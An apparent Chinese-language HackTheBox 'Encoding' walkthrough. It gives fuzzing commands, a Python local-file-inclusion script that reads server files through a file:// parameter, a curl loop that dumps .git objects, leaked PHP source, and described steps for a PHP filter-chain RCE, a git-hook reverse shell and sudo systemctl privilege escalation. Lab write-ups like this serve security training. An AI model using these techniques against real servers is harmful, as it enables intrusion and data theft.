-
-
[原创]HTB Encoding (MEDIUM)
-
发表于: 2023-2-5 14:59 1992
-
扫端口
扫目录,没有得到有意义的内容
扫域名
image没有权限访问
vim /etc/hosts将ip 域名写入
访问网址看下,有api手册
将file_url写成服务器本机上的路径,就能读文件
str2hex是转16进制,脚本里再转回来
扫目录有扫到index.php
再看utils.php,utils.php中使用到了git来管理网站版本
使用以下工具来下载.git
3f9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8Y4c8W2M7X3&6W2N6s2N6S2j5$3S2W2i4K6u0r3c8$3W2@1g2r3!0G2L8s2y4Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3c8s2g2E0M7r3g2J5i4K6u0r3k6$3W2@1k6s2g2E0M7r3g2J5i4K6u0W2M7$3R3`.
更改gitdumper.sh中的命令
./git_dumper.sh 13bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3W2E0j5h3N6W2i4K6u0W2K9r3q4^5N6r3q4T1L8r3g2K6i4K6u0W2K9s2c8T1i4K6u0r3i4K6u0W2k6$3W2@1i4K6u0r3 image
action_handler.php中存在文件包含
通过 GET 参数指定要包含的文件。
再扫一下
缺少参数
去查看 handler文件查看 缺少哪些参数
尝试文件包含
无文件RCE
项目地址:
cbfK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6K6P5h3&6S2j5$3E0@1K9i4k6Q4x3V1k6H3K9s2m8Q4y4h3k6X3K9h3I4@1k6i4u0Q4y4h3k6U0K9r3q4A6L8W2)9#2k6X3N6W2L8X3g2J5j5i4c8G2M7R3`.`.
详细讲解:
e94K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1K9h3I4A6j5X3W2D9K9g2)9J5k6h3y4G2L8g2)9J5c8Y4k6A6k6r3g2G2i4K6u0r3b7W2j5I4g2g2V1@1x3e0q4j5y4$3S2t1i4K6u0r3i4K6y4r3N6X3c8Q4y4h3k6K6L8%4g2J5j5$3g2Q4x3@1b7I4z5h3y4T1y4K6M7$3x3r3q4U0x3r3f1$3x3U0x3$3y4r3q4X3k6h3y4T1y4r3x3H3x3K6u0T1y4U0p5I4z5b7`.`.
测试一下
python3 php_filter_chain_generator.py --chain test
拿到www-data的shell
我们可以利用git-commit.sh
在/var/www/image中初始化一个新的存储库,为所有 .php 文件设置一个 indent过滤器,设置一个运行 bash 文件的命令来生成反向 shell,最后以 svc用户运行git-commit.sh文件。
运行pspy后发现
有一个concron定时任务会定时删除/var/www/image文件夹中的内容,并将root/scripts/image文件夹中的所有文件复制到/var/文件夹中
手速要快点
在/tmp下写个shell
930K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2J5k6i4k6K6K9r3g2D9L8s2y4Q4x3X3g2U0L8$3#2Q4x3V1j5`.
拿到user flag
(root) NOPASSWD: /usr/bin/systemctl restart *
构建一个服务提权,然后重启服务
参考链接:
010K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0k6h3c8A6N6h3#2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4y4o6m8w2N6i4y4Z5j5h3N6J5j5e0l9H3y4#2)9J5c8Y4N6J5K9i4c8W2N6i4m8Q4x3X3c8W2L8X3y4G2k6r3W2F1k6#2)9J5k6r3S2S2j5$3E0@1K9r3g2T1L8%4S2Q4x3X3b7K6k6o6R3#2y4o6S2S2z5o6j5#2y4K6t1`.
ffuf
-
H
"Host:FUZZ.haxtables.htb"
-
w wordlist
/
SecLists
-
master
/
Discovery
/
DNS
/
subdomains
-
top1million
-
20000.txt
-
u http:
/
/
haxtables.htb
-
fw
246
ffuf
-
H
"Host:FUZZ.haxtables.htb"
-
w wordlist
/
SecLists
-
master
/
Discovery
/
DNS
/
subdomains
-
top1million
-
20000.txt
-
u http:
/
/
haxtables.htb
-
fw
246
import
requests
import
json
def
lfi(fil):
json_data
=
{
'action'
:
'str2hex'
,
'file_url'
: f
"file://{fil}"
}
print
(f
"[file] =>{fil}\n"
)
response
=
requests.post(
'af9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3K9g2)9J5k6h3S2S2P5s2c8S2j5X3I4W2M7#2)9J5k6h3S2@1j5W2)9J5c8Y4j5K6i4K6u0r3N6r3!0G2L8s2y4Q4x3V1k6K6N6s2u0A6L8X3N6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5y4H3`.`.
,json
=
json_data)
data
=
json.loads(response.text)
hex_string
=
data[
"data"
]
bytes_object
=
bytes.fromhex(hex_string)
string
=
bytes_object.decode()
print
(string)
#print("====="*20)
#print(response.text)
def
main():
while
True
:
lf
=
input
(
"[+]FILE >"
)
lfi(lf)
main()
import
requests
import
json
def
lfi(fil):
json_data
=
{
'action'
:
'str2hex'
,
'file_url'
: f
"file://{fil}"
}
print
(f
"[file] =>{fil}\n"
)
response
=
requests.post(
'af9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3K9g2)9J5k6h3S2S2P5s2c8S2j5X3I4W2M7#2)9J5k6h3S2@1j5W2)9J5c8Y4j5K6i4K6u0r3N6r3!0G2L8s2y4Q4x3V1k6K6N6s2u0A6L8X3N6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5y4H3`.`.
,json
=
json_data)
data
=
json.loads(response.text)
hex_string
=
data[
"data"
]
bytes_object
=
bytes.fromhex(hex_string)
string
=
bytes_object.decode()
print
(string)
#print("====="*20)
#print(response.text)
def
main():
while
True
:
lf
=
input
(
"[+]FILE >"
)
lfi(lf)
main()
[
file
]
=
>
/
var
/
www
/
image
/
utils.php
<?php
/
/
Global functions
function jsonify($body, $code
=
null)
{
if
($code) {
http_response_code($code);
}
header(
'Content-Type: application/json; charset=utf-8'
);
echo json_encode($body);
exit;
}
function get_url_content($url)
{
$domain
=
parse_url($url, PHP_URL_HOST);
if
(gethostbyname($domain)
=
=
=
"127.0.0.1"
) {
echo jsonify([
"message"
=
>
"Unacceptable URL"
]);
}
$ch
=
curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,
2
);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,
1
);
$url_content
=
curl_exec($ch);
curl_close($ch);
return
$url_content;
}
function git_status()
{
$status
=
shell_exec(
'cd /var/www/image && /usr/bin/git status'
);
return
$status;
}
function git_log($
file
)
{
$log
=
shell_exec(
'cd /var/www/image && /ust/bin/git log --oneline "'
. addslashes($
file
) .
'"'
);
return
$log;
}
function git_commit()
{
$commit
=
shell_exec(
'sudo -u svc /var/www/image/scripts/git-commit.sh'
);
return
$commit;
}
?>
[
+
]
FILE
>
/
var
/
www
/
image
/
.git
/
HEAD
[
file
]
=
>
/
var
/
www
/
image
/
.git
/
HEAD
ref: refs
/
heads
/
master
[
+
]
FILE
>
/
var
/
www
/
image
/
.git
/
config
[
file
]
=
>
/
var
/
www
/
image
/
.git
/
config
[core]
repositoryformatversion
=
0
filemode
=
true
bare
=
false
logallrefupdates
=
true
[
file
]
=
>
/
var
/
www
/
image
/
utils.php
<?php
/
/
Global functions
function jsonify($body, $code
=
null)
{
if
($code) {
http_response_code($code);
}
header(
'Content-Type: application/json; charset=utf-8'
);
echo json_encode($body);
exit;
}
function get_url_content($url)
{
$domain
=
parse_url($url, PHP_URL_HOST);
if
(gethostbyname($domain)
=
=
=
"127.0.0.1"
) {
echo jsonify([
"message"
=
>
"Unacceptable URL"
]);
}
$ch
=
curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,
2
);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,
1
);
$url_content
=
curl_exec($ch);
curl_close($ch);
return
$url_content;
}
function git_status()
{
$status
=
shell_exec(
'cd /var/www/image && /usr/bin/git status'
);
return
$status;
}
function git_log($
file
)
{
$log
=
shell_exec(
'cd /var/www/image && /ust/bin/git log --oneline "'
. addslashes($
file
) .
'"'
);
return
$log;
}
function git_commit()
{
$commit
=
shell_exec(
'sudo -u svc /var/www/image/scripts/git-commit.sh'
);
return
$commit;
}
?>
[
+
]
FILE
>
/
var
/
www
/
image
/
.git
/
HEAD
[
file
]
=
>
/
var
/
www
/
image
/
.git
/
HEAD
ref: refs
/
heads
/
master
[
+
]
FILE
>
/
var
/
www
/
image
/
.git
/
config
[
file
]
=
>
/
var
/
www
/
image
/
.git
/
config
[core]
repositoryformatversion
=
0
filemode
=
true
bare
=
false
logallrefupdates
=
true
curl
-
X POST
-
H
'Content-Type: application/json'
-
-
data
-
binary
"{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}"
'fb4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3K9g2)9J5k6h3S2S2P5s2c8S2j5X3I4W2M7#2)9J5k6h3S2@1j5W2)9J5c8Y4j5K6i4K6u0r3N6r3!0G2L8s2y4Q4x3V1k6K6N6s2u0A6L8X3N6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5y4H3`.`.
| jq .data | xxd
-
r
-
p >
"$target"
curl
-
X POST
-
H
'Content-Type: application/json'
-
-
data
-
binary
"{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}"
'fb4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3K9g2)9J5k6h3S2S2P5s2c8S2j5X3I4W2M7#2)9J5k6h3S2@1j5W2)9J5c8Y4j5K6i4K6u0r3N6r3!0G2L8s2y4Q4x3V1k6K6N6s2u0A6L8X3N6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5y4H3`.`.
| jq .data | xxd
-
r
-
p >
"$target"
ffuf
-
w wordlist
/
SecLists
-
master
/
Discovery
/
Web
-
Content
/
raft
-
medium
-
directories.txt
-
u http:
/
/
haxtables.htb
/
FUZZ.php
ffuf
-
w wordlist
/
SecLists
-
master
/
Discovery
/
Web
-
Content
/
raft
-
medium
-
directories.txt
-
u http:
/
/
haxtables.htb
/
FUZZ.php
curl
-
s http:
/
/
haxtables.htb
/
handler.php | jq
{
"message"
:
"Insufficient parameters!"
}
curl
-
s http:
/
/
haxtables.htb
/
handler.php | jq
{
"message"
:
"Insufficient parameters!"
}
[
file
]
=
>
/
var
/
www
/
html
/
handler.php
<?php
include_once
'../api/utils.php'
;
if
(isset($_FILES[
'data_file'
])) {
$is_file
=
true;
$action
=
$_POST[
'action'
];
$uri_path
=
$_POST[
'uri_path'
];
$data
=
$_FILES[
'data_file'
][
'tmp_name'
];
}
else
{
$is_file
=
false;
$jsondata
=
json_decode(file_get_contents(
'php://input'
), true);
$action
=
$jsondata[
'action'
];
$data
=
$jsondata[
'data'
];
$uri_path
=
$jsondata[
'uri_path'
];
if
( empty($jsondata) || !array_key_exists(
'action'
, $jsondata) || !array_key_exists(
'uri_path'
, $jsondata))
{
echo jsonify([
'message'
=
>
'Insufficient parameters!'
]);
/
/
echo jsonify([
'message'
=
> file_get_contents(
'php://input'
)]);
}
}
$response
=
make_api_call($action, $data, $uri_path, $is_file);
echo $response;
?>
[
file
]
=
>
/
var
/
www
/
html
/
handler.php